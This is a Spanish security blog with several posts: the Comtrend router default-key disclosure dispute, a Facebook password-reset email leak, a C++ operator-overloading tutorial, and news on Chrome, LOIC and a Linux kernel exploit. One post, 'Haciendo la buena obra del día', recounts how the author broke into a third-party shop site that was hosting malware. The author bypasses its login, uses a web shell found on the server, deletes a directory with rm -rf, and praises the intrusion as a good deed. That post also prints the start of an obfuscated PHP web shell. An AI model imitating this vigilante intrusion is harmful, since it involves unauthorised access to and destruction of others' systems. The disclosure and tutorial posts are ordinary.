Need of Security

Fallo de seguridad en el router COMTREND. Una de suspenso.

2011-02-06T20:19:00.004-03:00

Ya habíamos hablado de este fallo en otra oportunidad. De como SeguridadWireless al descubrir el fallo decidió no revelar los detalles técnicos por el momento en pos de darle tiempo a las compañías para que puedan solucionarlo.

Lo que mas me ha asombrado en este ultimo tiempo es la cantidad de noticias sin contrastar (en parte gracias al silencio de los implicados) que he visto en varios blogs de seguridad.. Todo comenzó con unaaldia de Hispasec:

Todo apunta a que el algoritmo ha sido filtrado por alguien con acceso a
esta información desde alguna de las empresas implicadas. La otra opción
sería el haber realizado ingeniería inversa a una gran muestra de
routers, y esto pensamos que es extremadamente complejo (aunque no
imposible) por el hecho de que el algoritmo usa hashes criptográficos.

Primero que nada hay que aclarar que no es necesario emplear ingeniería inversa a una gran muestra de routers, basta con hacerlo en uno solo. Al obtener el algoritmo, lo único que necesitas es conseguir otra persona de confianza (o varias) con el mismo modelo y pedirle sus datos (BSSID y ESSID) y luego verificar si la clave generada por el algoritmo descubierto corresponde con la real.

Otro articulo que leí fue el de S21sec, el cual proclama:

De todas formas, es improbable que el algoritmo se haya descubierto mediante criptoanálisis, y todo apunta a que haya habido
alguna fuga de información, puesto que es imposible poder revertir un algoritmo de hash como MD5 (aunque sí que existen ataques publicados pero con el objetivo de conseguir colisiones, no de recuperar el texto): cogemos un entrada de longitud aleatoria que después de pasar por el algoritmo MD5 nos devuelve siempre 128 bits; realmente es como si cogemos cualquier número, lo dividimos entre 2, pero sólo nos quedamos con el resto (que será 0 ó 1): es imposible recuperar el número original a partir de ese 0 ó 1.

Realmente me parece sorprendente que en ningún momento se mencione la posibilidad de que hayan empleado ingeniería inversa.

Como ya se sabe, los primeros en descubrir el fallo fueron los de SeguridadWireless. El segundo en descubrir el fallo fue elvecino. A pesar de no haber relación entre los dos sitios que descubrieron el fallo, ambos tomaron una politica similar de no liberarlo completamente. En el caso de SeguridadWireless para darle tiempo a las compañias para que resuelvan el fallo y mantener la seguridad de las redes lo mas posible, y en el caso de elvecino por algo bastante similar, porque se notaba demasiado que la mayoría de las personas que querían conocer los detalles técnicos del fallo, era simplemente para tener conexión gratis.

Elvecino a pesar que no hizo publico el fallo directamente, fue dando pistas en el foro de LampiWeb donde varios se estaban quemando las pestañas intentando adivinar como se generaba la clave probando combinaciones aleatorias y convirtiendo estas a MD5 (intentos inútiles por supuesto dada las características técnicas del algoritmo MD5)
En el foro de Lampiweb, elvecino decidió ir dando pistas para ayudar a las personas que realmente querían investigar el tema. Se especifica como emplearon ingeniería inversa al firmware del router dando detalles a medias, pero que le bastan a cualquier persona con los conocimientos suficientes para poder reproducir el mismo proceso.

¿A que voy con esto? que me parece hilarante que se este hablando de fugas y chivatos cuando la realidad es mucho mas simple. Ingeniería inversa, y no mas que eso.
Mi recomendación es que contacten con los responsables implicados en el tema para obtener información fehaciente y dejar de lado la especulación.

Ojala los blogs de seguridad rectifiquen pronto.

Update

Comunicado oficial de SeguridadWireless.net

Nuevo comunicado 4-2-2011
Como todos sabéis, ayer se libero el algoritmo de generación de claves wifi usado por los routers comtrend que instala tanto Movistar como Jazztel.
También sabéis que el equipo de seguridad wireless descubrió ese algoritmo el día “*”. Desde entonces seguridadwireless.net ha sido objeto de insultos y descalificaciones por el simple hecho de no publicar el algoritmo, el motivo de este comunicado es explicar (de nuevo) las posturas de seguridadwireless y defendernos de ciertas acusaciones.

En primer lugar se debe conocer la siguiente premisa: seguridadwireless.net es un foro dedicado a investigar la seguridad en redes inalámbricas. NO es un foro de wifi gratis. Cualquiera que haya entrado se habrá dado cuenta que esta totalmente prohibido cualquier referencia a auditar redes wifi ajenas y preguntas de este tipo han sido y serán consecuencia de baneo inmediato en el foro.

Debido a la temática y recursos del foro hay quien ha cometido el error de pensar que en realidad, se trata de un sitio donde te ayudan a piratear el wifi al vecino (pero que no lo dicen abiertamente para no ver envueltos en líos legales) por lo que luego vienen las sorpresas:

Seguridadwireless no publica un algoritmo que deja cientos o quizás miles de usuarios indefensos, una herramienta “magica” que con solo poner los datos de la red de tu vecino te da conexión gratis y te mete de lleno en un delito telemático.

Así como otras comunidades han liberado generadores de diccionarios sin liberar fuentes Seguridad wireless se siente orgullosa de afirmar que siempre ha liberado el código fuente de todos los generadores y explicado la forma en que se descubrieron llevando esto (en ocasiones) a la copia por otras comunidades de herramientas (incluso sin citar fuentes).

En seguridad wireless se han recopilado y creado herramientas de seguridad como los LiveCd wifiway o wifislax que facilitan la auditoria wireless.

Entonces ¿Por que entonces en esta ocasión no se ha liberado el fuente?
nos encontramos ante un problema de seguridad gordo, de libro. la posibilidad de conocer la clave por defecto de un router con tan solo conocer la MAC del router y su nombre, nada de airodump,aircrack, captura de paquetes, datas ivs ni ataques de fragmentación. Nos encontramos ante la posibilidad de que cualquier persona independientemente de sus conocimientos de seguridad e intenciones ponga en jaque, con papel y lápiz la seguridad de las redes que le rodean. Redes que se están implantando masivamente en España en este momento.

No se libera el algoritmo, se establece una política de disclosure y se considera que no se debe liberar un (llamémoslo exploit) “0day”, se decide contactar a la empresa y se pacta un Non-disclosure agreement o NDA durante un tiempo determinado. para permitir a la empresa solucionar el problema.

Y aquí señores es donde se diferencia un foro de pirateo wifi de un grupo de seguridad, llegados a este punto se antepone la seguridad de los usuarios a otros asuntos mas triviales como el dudoso merito de publicar un algoritmo capaz de permitirle a cualquiera el acceso a redes que no le pertenecen por el simple hecho de bajarse una aplicación para su móvil.

Habría que ver cuantas de las personas que han insultado (porque en su mayoría eran directamente insultos y no criticas) a seguridadwireless por este motivo les haría gracia ver como sus peticiones dns, sus comunicaciones ssh son hackeadas porque a alguien se le ocurrió que era buena idea liberar el mal antes que la cura.

O ¿como te sentirías si te robasen el coche porque a un gracioso se le ocurrió decirle al mundo entero como crear una llave maestra que abriese tu modelo de coche sin dar tiempo a que tu marca te pusiese una solución? hay que ser civilizados.

Por ultimo, el equipo se seguridadwireless se siente profundamente triste, una comunidad que ha demostrado ser libre, trabajando con software libre e idas libres con la única premisa de no hacer daño y ayudar pidió un voto de confianza en un momento dado.
Por parte de algunas personas no se le dio. Desconocemos si estas personas pensaban que la web se trataba de “wifigratis” y pensaban que tenían derecho a recibir sin mas, el algoritmo. si es el caso les rogamos que se dirijan a los foros dedicados a tales fines donde podrán encontrar ejecutables que les saquen las redes pero no los fuentes.
Si por lo contrario te interesa la seguridad inalámbrica y no estabas de acuerdo con ciertas decisiones esperamos que haya quedado todo explicado y reconocemos que en algunos momentos se pudo dar mas información de la que se dio sobre lo que estaba ocurriendo.

Haciendo la buena obra del día

2011-01-28T06:21:00.010-03:00

En el día anterior un usuario posteo en el hacker.net una duda respecto de un ejecutable que se transmitía mediante Facebook. La pregunta era si el link que contenía el mensaje era o no era un virus.

El mensaje en especifico era este:

"hahaha foto
http://apps.facebook.com/photoyeahhh/photo.php?=100000504053506 "

Al entrar a la aplicación nos encontrábamos con una pagina similar a Facebook que contenía un mensaje que declaraba:

Si quieres ver la foto haz click aquí!

Esta aplicación nos dirigía automáticamente a http://foxy-golf.com/img/facebook-pic000934519.exe donde aparecía la confirmación de si queríamos o no descargar el archivo.
Obviamente, lo descargamos y le damos un análisis en VirusTotal para confirmar que efectivamente se trata de malware (si es que hacia falta confirmación) específicamente un bot controlado mediante IRC.

facebook-pic000934519.exe

Submission date:
2011-01-27 23:08:19 (UTC)
Current status:
finished
Result:
3 /43 (7.0%)

Comodo: P2PWorm.Win32.Palevo.GZA
Jiangmin: Heur:Backdoor/Agent
NOD32: a variant of Win32/Injector.EMI

Hecho esto nos interesa verificar si el host es una web infectada o si es un host implementado en pos de alojar los archivos maliciosos. Entramos en http://foxy-golf.com y al parecer nos encontramos con una tienda:

Registrant:
foxy golf
40 w turkeyfoot lake rd.
akron, Ohio 44319
United States

Domain Name: FOXY-GOLF.COM
Created on: 13-May-08
Expires on: 13-May-12
Last Updated on: 14-May-10

Rápidamente nos damos cuenta que es un sistema osCommerce, y lamentablemente en este caso una versión muy vulnerable y sin ningún tipo de parche aplicado por parte del administrador.

Accedemos fácilmente al listado de archivos bypasseando el login, y comprobamos rápidamente que se pueden descargar archivos a diestra y siniestra. Obviare algunas partes por razones que se caen de maduras, pero seria algo similar a:

xxxxxx/xxx.php?action=download&file=path

Tenemos el listado de archivos y sabemos que podemos descargar. Se podra subir archivos? seguramente, pero primero veremos si podemos descargar algún fichero con los passwords necesarios.

Luego de probar la descarga de varios archivos sin suerte, a simple vista la opción mas factible es intentar subir una shell. No obstante, si el host esta infectado posiblemente tenga una shell en alguno de sus directorios, y si el atacante fue lo suficientemente inexperto, esta va a estar a la vista.

Descargamos los pocos archivos que nos quedaban por revisar hasta que encontramos uno con algo similar a:

GIF89;a
eval(gzinflate(base64_decode('
7P37ehq58igM/73zPLkHhWENMLE5+RAfgicYsI3j
I/gcZ/vX0A10DDRDg7Ezk/d+3+8qvqqS1K0+AXY8
s9Z69/ZaGUAqlUqlUqlUkkq/b338fdAZvH2T+e0f
+ctgTf/PP/DHa2Is2UxZuqGzxhOr96uDyvCuXlwo
Gw9G1xrw5IOn7H1H49CHxeoB64xGg41M5qHfGGpm

Al descodificar este archivo, efectivamente nos damos cuenta que es la shell que necesitabamos. Intentamos acceder a la shell desde http://foxy-golf.com/shell.php y efectivamente tenemos suerte:

Como habíamos detectado al inicio, los archivos maliciosos se encontraban en el directorio /img/, por ende lanzamos un rm -rf y eliminamos el directorio completamente. Logrando asi que la aplicación de Facebook deje de funcionar:

Terminamos el asunto dejando un archivo explicándole al administrador como debería solucionar los fallos, por supuesto también se lo enviamos por mail. Luego de esto eliminamos la shell que habíamos encontrado, saliendo así completamente del sitio.

Conclusión

El aspecto positivo es que evitamos que mas gente se siga infectando al deshabilitar la aplicación que transmitía el malware, por lo menos momentáneamente.

El aspecto negativo es que posiblemente el administrador ni siquiera solucione los fallos de su sitio web y aunque lo hiciese, siempre habrá cientos de administradores con sus sitios sin parchear y fácilmente accesibles por cualquier atacante.

Lamentablemente Comodo me jugo una mala pasada y elimino el backup que había hecho del ejecutable malicioso sin que pudiese debuggearlo y realizar la vacuna correspondiente, por lo tanto si tienes una muestra por ahí, no dudes en enviármela.

Tienen alguna "buena obra del día?" suelen hacerlas seguido o simplemente pasan del tema? sera un placer leer las historias que tengan.

Saludos!

Fallo en Facebook respecto del manejo de datos en "recordar contraseña"

2011-01-04T03:37:00.004-03:00

Decidí revisar a ver que tal funcionaba el servicio de recordar contraseñas de Facebook cuando me encontré con una sorpresa un tanto curiosa.
Desconozco si alguien presto atención a este pequeño detalle antes que yo, al ser tan simple supongo que si pero no he visto nada al respecto; quien tenga un link a mano y desee compartirlo puede hacerlo en los comentarios!
Este es un fallo simple pero que a la vez nos hace preguntar hasta que punto nuestra privacidad esta a resguardo.

Supongamos que tenemos un perfil X, en este caso elegi a una chica al azar que llamaremos Julieta. Julieta esta agregada en la lista de contactos de nuestra cuenta y a grandes rasgos tenemos acceso a casi todos los componentes de Facebook (Muros, Notas, etc). No obstante, la dirección de mail ya sea la principal u cualquier otro tipo de información de contacto, permanecen ocultas.

Julieta Gisele. Sin información de contacto

Es irrelevante en este caso cual es el criterio con el cual se oculto la información de contacto (Personas especificas, solo amigos, etc) ya que eso no nos importa demasiado puesto que para recordar la contraseña obviamente no hace falta iniciar ninguna sesión.

Teniendo el perfil, vamos a recordar la contraseña tocando en ¿Has olvidado tu contraseña?:

Recordar contraseña

Ahora bien, para identificar el perfil se puede cualquiera de las 3 opciones. La primer opción por supuesto no tiene sentido ya que parte de que ya conocemos la dirección de mail de antemano. La tercera implica que conozcamos como mínimo un contacto de la lista de la persona involucrada, lo cual no siempre es factible ya que dicha lista puede estar oculta. La segunda opción es la mas simple, puesto que el link del perfil puede obtenerse facilmente.

Al encontrarse el usuario, nos encontramos con un captcha, y luego de este, otro pedido de confirmación en caso que todavía deseemos recordar la contraseña.
Es un hecho conocido que casi la totalidad de los servicios como mínimo utilizan una dirección de mail para restablecer una contraseña, Facebook obviamente no es la excepción. Por supuesto por cuestiones de privacidad oculta la dirección:

Dirección oculta. ¿Oculta?

No precisamente oculta, si revisan el código fuente de esa misma pagina, encontraran la dirección completa:

"contactInfo":{"email":["Aquí el mail."]}.

¿Cual es el problema con este pequeño fallo?

Básicamente son tres:

1) Permite a un atacante obtener una dirección que en principio podría estar oculta intencionalmente. En este caso, la dueña del perfil del ejemplo tenia su dirección oculta incluso para los contactos de su lista, sin embargo puede obtenerse fácilmente sin siquiera iniciar una sesión. Si se salta el captcha incluso se puede automatizar la tarea para obtener direcciones en forma masiva.

2) La dirección de mail puede no estar activa, y en ese caso alguien podría registrar nuevamente dicha dirección y modificar la contraseña del perfil de Facebook de la victima.

3) Permite a un atacante saber fácilmente cual es el mail ligado a la cuenta de Facebook y las consecuencias que esto conlleva.

-----------

Este error no involucra solamente a la dirección con la cual se registro la cuenta de Facebook, si no con todas las direcciones de correo asociadas a la cuenta, e incluso también el numero de movil.
En conclusión, cuidado con los datos que asocian con su cuenta de Facebook ya que no están para nada protegidos.

Saludos!

Update

Al día de la fecha -08/02/2011- el fallo se encuentra solucionado.

Sobrecarga de operadores en C++.

2010-12-21T19:36:00.001-03:00

Últimamente he visto algunas dudas respecto de este tema en la sección de C/C++ de elhacker.net -sección en la cual soy moderador-. Este tipo de dudas suelen ser las que mas me gustan, porque a simple vista parecen simples pero en el fondo hay una complejidad que la mayoría de las personas que están aprendiendo ese lenguaje todavía no conocen.

No voy a extenderme demasiado pero simplemente aclarar algunos puntos que suelen ser los que mas dudas generan. No escribiré todo en una sola entrada por supuesto, probablemente tome varias. En esta comenzare con lo básico del tema.

Otro detalle es que hace mucho que no posteo ninguna entrada relacionada a la programación, y siendo que es una de las áreas que mas me gusta creo que ya viene siendo hora.

Introducción

Cuando desarrollas una aplicación y se diseña la interfaz gráfica, siempre se tiene en mente el usuario final. No hay reglas generales que sirvan para diseñar una interfaz excelente que le guste a todos los usuarios, por esa razón uno trata de hacer la interfaz lo mas intuitiva posible, lo mas accesible que se pueda, y por sobre todas las cosas, fácil de manejar y de recordar.

Cuando desarrollas una clase o un conjunto de estas, también realizas un producto para un usuario final, con la diferencia que en este caso el usuario final es a la vez un programador.
Este simple hecho suele dar la falsa noción que, al ser el usuario final un programador, este tiene que entender todas las locuras que hayamos hecho a la hora de codificar. Es decir, "A fin de cuentas es un programador o no? si es muy bueno sabrá porque hice esto y aquello." son ideas que suelen existir en muchos programadores y que influyen negativamente en el resultado final.

Al igual que con la interfaz gráfica de una aplicación, la interfaz de una clase también debe diseñarse. Esta debe ser intuitiva, accesible, fácil de recordar y de manejar. Es aquí cuando entra la sobrecarga de operadores.

Para que se utiliza la sobrecarga de operadores?

La sobrecarga de operadores es una manera sencilla de simplificar los significados de ciertas operaciones que trabajen con tipos definidos por nosotros mismos (Lo que usualmente en C++ es una clase).
El objetivo final es reducir la curva de aprendizaje de nuestra clase al proveer una interfaz intuitiva que sea fácil de utilizar y recordar.

La idea principal radica en intentar simplificar los significados de las operaciones que realizamos con nuestras clases sobrecargando los operadores que mas se relacionen con lo que realmente se quiere hacer.

Si tuviésemos una clase que contiene un entero, y quisiésemos proveer una interfaz para sumar varios objetos sin utilizar sobrecarga de operadores, tendríamos que realizar un método que sume. Por ejemplo, algo así:

MiClase Resultado = sum(Clase1,Clase2);

A simple vista no parece muy complicado, pero que pasa si queremos sumar 4 objetos?

MiClase Resultado = sum(sum(Clase1,Clase2),sum(Clase1,Clase2));// No muy intuitivo que digamos.

Realmente no se ve muy agradable verdad?

Ahora veamos un ejemplo sobrecargando operadores:

#include <iostream>
class MiClase
{
private:
int Num;
public:
MiClase(int Cnum) { Num = Cnum; }
friend MiClase operator+(const MiClase &a, const MiClase &b);
int ObtNum() { return Num; }
};
MiClase operator+(const MiClase &a, const MiClase &b)
{
return MiClase(a.Num + b.Num);
}
int main()
{
MiClase Clase1(10);
MiClase Clase2(20);

//Intuitivo, c=a+b;
MiClase Resultado = Clase1 + Clase2 + Clase1 + Clase2;
std::cout << "El resultado es: " << Resultado .ObtNum() << std::endl;
return 0;
}

No inquietarse si el código no se entiende a la primera. Ya iré explicando con detalles mas adelante.

Que tiene que ver esto con la seguridad informática?

Directamente nada, indirectamente mucho. La mayoría de las vulnerabilidades en las aplicaciones se dan por errores de diseño u por descuidos. Al proveer una interfaz intuitiva para tu clase, logras reducir la tasa de errores de los programadores que la utilicen, facilitando el desarrollo de aplicaciones mas seguras y estables.

Cuando utilizar la sobrecarga de operadores?

Es normal que cuando uno intente resolver un problema, analice varias soluciones posibles, y luego bajo criterio propio elija la mas adecuada para el caso determinado. Realmente es imposible tener una regla que aplique para todos los casos, y lo que hoy es mejor para determinada aplicación, puede ser lo peor para otra, por lo tanto nunca deben tomarse reglas absolutas y siempre hay que analizar el caso en particular. Sin embargo, se pueden seguir una pauta que es clave para decidir si se debe o no sobrecargar operadores. Muchas personas usualmente me preguntan porque se utiliza la sobrecarga de operadores siendo que los beneficios que otorga no compensan el posible desorden del código. En reglas generales respondo siempre lo mismo: La sobrecarga de operadores no se utiliza para hacernos la vida mas fácil, si no para hacerle la vida mas fácil a los otros, a los usuarios de tus clases. Hacerle la vida mas fácil a los usuarios finales de tu clase es la regla principal que se debe seguir. Si se esta seguro de poder lograrlo, perfecto, pero si no se esta seguro lo mejor es volver a analizar el caso en particular ya que tal vez sobrecargar operadores no sea necesario o incluso puede volverse perjudicial.

Comenzando con la sobrecarga de operadores

Antes que nada es esencial saber lo que es un operador. Un operador es un token que le indica al compilador que se van a realizar determinadas operaciones sobre objetos u variables –los operandos-. Es decir, si tenemos: a= b+c; donde a, b y c son enteros, podemos decir que tenemos 3 operandos (a, b y c) y 2 operadores (= y +). El comportamiento de la expresión y su significado están definidos por el lenguaje. Ahora bien, C++ permite redefinir el comportamiento de la mayoría de los operadores para que realicen una tarea aparentemente similar a la que originalmente realizan pero con un comportamiento especifico acorde a los tipos de datos que hayamos creado, por ende podemos tener algo como: a=b+c; donde a,b y c son objetos del tipo MiClase. Particularmente los operadores que se pueden sobrecargar son:

+     -     *     /     %     ^     &
|     ~     !     =     <     >     +=
-=    *=    /=    %=    ^=    &=    |=
<<    >>    >>=   <<=   ==    !=    <=
>=    &&    ||    ++    --    ->*    ,
->    []    ()    new   new[] delete delete[]

Los que no pueden sobrecargarse son:

Selector directo de componente .
Operador de indirección de puntero-a-miembro .*
Operador de acceso a ámbito ::
Condicional ternario ?:
Directivas de preprocesado # y # #
sizeof , typeid (si, son operadores también)

Cabe destacar que al sobrecargar un operador se puede modificar su comportamiento pero no cambiar el numero de operandos, ni la asociatividad ni la precedencia del operador respectivo.

Sintaxis de la sobrecarga de operadores

El prototipo de una sobrecarga de operador puede definirse como:

<tipo de retorno> operator + (parametros) {logica} ;

Es decir, el tipo de retorno, sumado al especificador operator seguido del operador que se desea sobrecargar. Veamos de nuevo el ejemplo inicial:

MiClase operator+(const MiClase &a, const MiClase &b);

Para definir la lógica del operador, en este caso basta con definirla como si fuese cualquier otra función:

MiClase operator+(const MiClase &a, const MiClase &b)
{
return MiClase(a.Num + b.Num);
}

Cabe destacar que que al sobrecargar un operador, como mínimo uno de los operandos debe ser un tipo definido por el usuario (generalmente una clase). No se puede sobrecargar un operador para que trabaje con dos tipos primitivos. Por ejemplo, alguien puede pensar en sobrecargar el operador “=” para poder asignar una cadena char* a otra cadena char* copiando el contenido como si fuese strcpy en lugar de asignar la dirección a la que apunta el puntero. Seria una idea valida, pero C++ no lo permite y por un motivo bastante claro. Si una operación tan simple como 1+1 puede tener distintos significados, el compilador nunca estaría seguro de lo que 1+1 significa.

Miembros de la clase o función friend

Una de las dudas mas recurrentes es si un método debe ser miembro de la clase o una función friend. Pero primero que nada, que significa el especificador friend? La razón por la cual existen métodos públicos, protegidos y privados radica en permitir al programador encapsular la implementación de su clase de la interfaz de esta. En la mayoría de las situaciones esto es esencial, pero hay casos específicos en el cual dicho esquema se torna un tanto rígido para lo que en realidad queremos hacer. Ahí es cuando entra el especificador friend, el cual permite que una función/clase tenga acceso total a otra clase de la cual no es miembro, saltando en cierta forma, el mecanismo de métodos públicos protegidos y privados. La ventaja principal de las funciones friend es que la sintaxis suele ser mas legible dado que la llamada a un miembro es a.func() mientras que una función friend es simplemente func(). Dado esto el programador debe decidir cual de las dos sintaxis es mas legible para el caso en particular y optar por ella. La sobrecarga de un operador en la mayoría de las oportunidades requiere acceso a datos privados de la clase (siempre que no haya un miembro wrapper mediante) y una sintaxis agradable a la vista. Esas son las razones principales por la cual generalmente las sobrecarga de los operadores van acompañadas del especificador de acceso friend. No obstante los permisos otorgados a una clase/función no son hereditarios, transitivos ni recíprocos, es decir, casi igual que en la vida real:

Si tenemos una clase A que es amiga de B, las derivadas de la clase A no necesariamente tienen que tener acceso a la clase B. Es decir, la amistad no es hereditaria
.
Si tenemos una clase A que es amiga de B, y B es amiga de C, A no tiene porque ser amiga de C. Es decir, la amistad no es transitiva.
Si tenemos una clase A que es amiga de B, B no tiene porque ser amiga de A. Es decir, la amistad no es reciproca.

Estas 3 reglas perjudican en cierta forma el concepto de orientación a objetos, y por esa razón una de las desventajas de las funciones friend es que requieren código extra para integrarlas completamente en un diseño OO. Las funciones friend deben utilizarse como una extensión de la interfaz y no mas, no debe abusarse. Por lo tanto la regla principal es usar miembros cuando puedas y funciones friend cuando debas. Siendo que las funciones friend no son miembros de una clase, no pueden declararse virtuales, por lo tanto el enlace dinamico (dynamic binding) no es posible directamente. Recordemos que para que un diseño sea orientado a objetos realmente, las funciones virtuales son necesarias, de lo contrario estamos hablando de un diseño basado en objetos. Supongamos que queremos proveer una sobrecarga de operador que tenga la posibilidad de imprimir todo un grupo de clases. Dadas las limitaciones que vimos anteriormente, alguien podría pensar que la única forma es implementar la sobrecarga en cada clase, pero esto es un tanto incomodo, engorroso, y de seguro aumenta el costo de mantenimiento y con esto los posibles futuros fallos. Para resolver este pequeño problema, lo que se suele hacer es declarar una función friend de la clase base. Esta función simplemente delega el trabajo a otra función que es miembro que si es virtual, siendo esta ultima la que se reemplaza en cada clase derivada para realizar la tarea.

class Base {
public:
friend ostream& operator << (ostream& o, const Base& b);
protected:
virtual void print(ostream& o) const
{ ... }
};
inline std::ostream& operator<< (std::ostream& o, const Base& b)
{
b.print(o); // Delega el trabajo a la funciÃ³n polimorfica
return o;
}
class Derived : public Base {
protected:
virtual void print(ostream& o) const
{ ... }
};

Esto se conoce como Virtual Friend Function Idiom. Por hoy dejo esto aquí para no liar a nadie, cualquier duda y demás, aquí, por mail o en el foro Para la próxima sigo con los templates, q es otra de las causas de dolores de cabeza. Saludos!

Fallo de seguridad en el router COMTREND.

2010-12-15T11:36:00.003-03:00

Desde SeguridadWireless informan de la detección de un fallo de seguridad en el router COMTREND modelo CT-5365. Este fallo de seguridad afecta a la generación de la clave WPA-PSK con que dicho modelo de router viene configurado por defecto y permite averiguar y/o predecir dicha clave de forma trivial.

Así mismo han comprobado y verificado que este fallo afecta a varios de los ISP que en España distribuyen este modelo de router a usuarios domésticos.

Mas información en SeguridadWireless.

#Update

Las compañías involucradas aparentemente han pedido que la información se mantenga en secreto por el momento.
Muchos rumores han corrido bajo el puente, que hubo dinero en el medio, que hubo demandas y demas mentiras de gente que le gusta hablar por hablar.

La realidad es que simplemente las compañías han pedido que las características técnicas del fallo no se publiquen mientras el fabricante puede solucionarlo.
Verdaderamente la ética de seguridadwireless.net es incuestionable, y realmente que haya tantos rumores en contra demuestra que hay bastante envidia de parte de muchos, lo cual en cierta forma demuestra que el trabajo lo vienen haciendo bien, hecho del cual tampoco quedan dudas.

Lamentablemente hay una realidad negativa en todo este asunto. Las compañías telefónicas tendrán que realizar un cambio masivo de equipos (millones de personas) para que el fallo pueda ser erradicado completamente independientemente de si el fallo se resuelve ya mismo por parte del fabricante. Por esa misma razón dudo mucho que los datos técnicos del fallo y las pruebas de concepto se liberen a corto plazo.

Veremos como sigue esta historia, que por suerte va de la mano de personas respetables como las que conforman seguridadwireless.net; lugar donde el único objetivo y preocupación es mejorar la seguridad de las redes de todos.

Nueva versión de Chrome, nuevos bugs arreglados!

2010-12-14T14:19:00.005-03:00

Google ha publicado una nueva versión de su navegador Chrome, arreglando dos bugs graves así como también otros fallos menores. Chrome 8.0.552.224 esta disponible en los canales stable y beta.

El primer fallo afectaba solamente a las plataformas Linux 64-bit debido a una validación errónea. Mientras que el segundo fallo se debía a los siempre molestos Stale pointers. Mas detalles se pueden encontrar en el SVN log.

Lista de bugs y recompensas:

[64-bit Linux only] [56449] High Bad validation for message deserialization on 64-bit builds. Credit to Lei Zhang of the Chromium development community.
[60761] Medium Bad extension can cause browser crash in tab handling. Credit to kuzzcc.
[63529] Low Browser crash with NULL pointer in web worker handling. Credit to Nathan Weizenbaum of Google.
[$1000] [63866] Medium Out-of-bounds read in CSS parsing. Credit to Chris Rohlf.
[$1000] [64959] High Stale pointers in cursor handling. Credit to Sławomir Błażek and Sergey Glazunov.

Como se puede apreciar, $1000 para Chris Rohlf y otros $1000 para Sławomir Błażek y Sergey Glazunov. Gracias al programa de recompensas de Google.

Herramienta utilizada para realizar DDoS podria revelar la identidad del grupo Anonymous

2010-12-13T20:58:00.002-03:00

Un nuevo estudio demuestra que el software utilizado para realizar los ataques DDoS utilizado por el grupo "Anonymous" podría servir para descubrir las identidades de los individuos que utilizaron dicho software.

El software denominado Low Orbit Ion Cannon (LOIC) es una herramienta desarrollada en primera instancia con el objetivo de realizar pruebas de estrés (DoS) . No obstante es la herramienta utilizada para llevar a cabo los ataques DDoS que en el ultimo tiempo se han vuelto un actor principal en la guerra entre WikiLeaks y Estados Unidos.
La versión modificada que utiliza el grupo "Anonymous" permite realizar los ataques manualmente u simplemente formar parte de un ataque con solo utilizar la aplicación. Sin embargo, acorde a un estudio publicado, la identidad de las personas que utilizaron el software en pos de participar en los ataques podria descubrirse, ya que la aplicación falla notablemente en la tarea de ocultar las direcciones IP de los usuarios que lo utilizan, directamente ni siquiera lo intenta.

Podria ocurrir que las autoridades decidan dar ejemplos arrestando a varias personas involucradas en los ataques.
En el FAQ de LOIC se puede encontrar preguntas como estas:

Q: “Will I get caught/arrested for using it?”
A: Chances are next to zero. Just blame you have a virus, or simply
deny any knowledge of it.

Es decir, remarcan que es improbable que esto pueda llevarse a cabo dado que uno podría aludir estar infectado y haber formado parte del ataque sin quererlo realmente, lo cual es muy difícil de comprobar pero a la vez muy difícil de refutar.

Por otro lado, el estudio haciendo hincapié en el FAQ de LOIC, aclara:

We would like to rephrase the question as: is it technically feasible to identify
a participant in the Anonymous operation? The answer depends on two factors:
the tool and the generated data.

Hasta el dia de hoy, solo un chico de 16 años ha sido arrestado por formar parte de los ataques.

A ver como sigue esta historia.

Referencias:
LOIC Report
Hacking Tool Used By Anonymous Could Reveal Users Identity
Dutch Arrest 16 Year Old for Wikileaks Attack

Documental de WikiLeaks. "WikiRebels – The Documentary"

2010-12-11T18:49:00.000-03:00

Alex Tapanaris == Anonymous?

2010-12-11T16:19:00.001-03:00

Parece que la gente de "Anonymous" no esta al tanto de la información que se puede conseguir mediante la extracción de metadatos. Por lo menos no lo estuvo quien realizo el comunicado de prensa que acaba de salir:

A ver que nos muestra el documento utilizando la querida Foca:

Aparentemente se le ocurrió a mucha gente hacer lo mismo dado que si se busca en Google algo como "Alex Tapanaris anonymous" se encuentran bastantes links con la misma información. Incluso ya han publicado datos personales como domicilio, teléfono, entre otras cosas.

Sera un nombre falso o un descuido por parte de Alex? a saber!

Exploit para kernel Linux 2.6.x permite la elevación local de privilegios

2010-12-09T16:26:00.000-03:00

Exploit para kernel Linux 2.6.x permite la elevación local de privilegios
-------------------------------------------------------------------------

Dan Rosenberg ha publicado un exploit para el kernel de Linux 2.6.x que permite a un usuario local elevar privilegios.
El exploit hace uso de tres vulnerabilidades publicadas por Nelson Elhage (CVE-2010-4258, CVE-2010-3849, CVE-2010-3850).

A continuación se detallan las distintas vulnerabilidades:

CVE-2010-4258: Existe un error de falta de comprobación de límites en
la función set_fs(KERNEL_DS que podría ser aprovechado por un atacante
local para elevar privilegios a través de vectores relacionados con la
creación de un hilo con la bandera CLONE_CHILD_CLEARTID activada.

CVE-2010-3849: Existe un error de comprobación de restricciones en la
función 'econet_sendmsg' del protocolo Econet que podría causar una
referencia a puntero nulo. Esto podría ser aprovechado por un atacante
local para causar una denegación de servicio a través de una llamada a
la función 'econet_sendmsg' con el valor dirección remota instanciado a
NULL.

CVE-2010-3850: Existe un error en la función 'ec_dev_ioctl' en el
protocolo Econet que no comprueba el valor de la variable 'SIOCSIFADDR'.
Esto podría ser aprovechado por un atacante local para ejecutar código
arbitrario a través de una llamada a 'ec_dev_ioctl' especialmente
manipulada.

Actualmente Debian y Ubuntu han publicado actualizaciones para las vulnerabilidades CVE-2010-3849 y CVE-2010-3850, por lo que no tendría éxito el exploit. Tan poco sería posible llevarlo a cabo en sistemas Red Hat ya que por defecto no integran el protocolo Econet.

Referencia: http://seclists.org/fulldisclosure/2010/Dec/85
Fuente: http://www.hispasec.com/unaaldia/4427/

[Ehn-Dev 2010] - Concurso de desarrollo de aplicaciones @ elhacker.net

2010-11-30T20:30:00.002-03:00

Termino el periodo de entrega de aplicaciones del concurso de desarrollo de aplicaciones, para dar paso a las votaciones.
Lamentamos los que no pudieron participar porque se enteraron tarde u porque no tuvieron tiempo para trabajar en su proyecto, pero esperamos y alentamos a todos a que participen en la próxima edición del concurso!

De mi parte, y de parte de todo el staff de elhacker.net, quiero felicitar a todos los que han participado, ya que independientemente de quienes estén en los primeros puestos, todos son ganadores al participar.
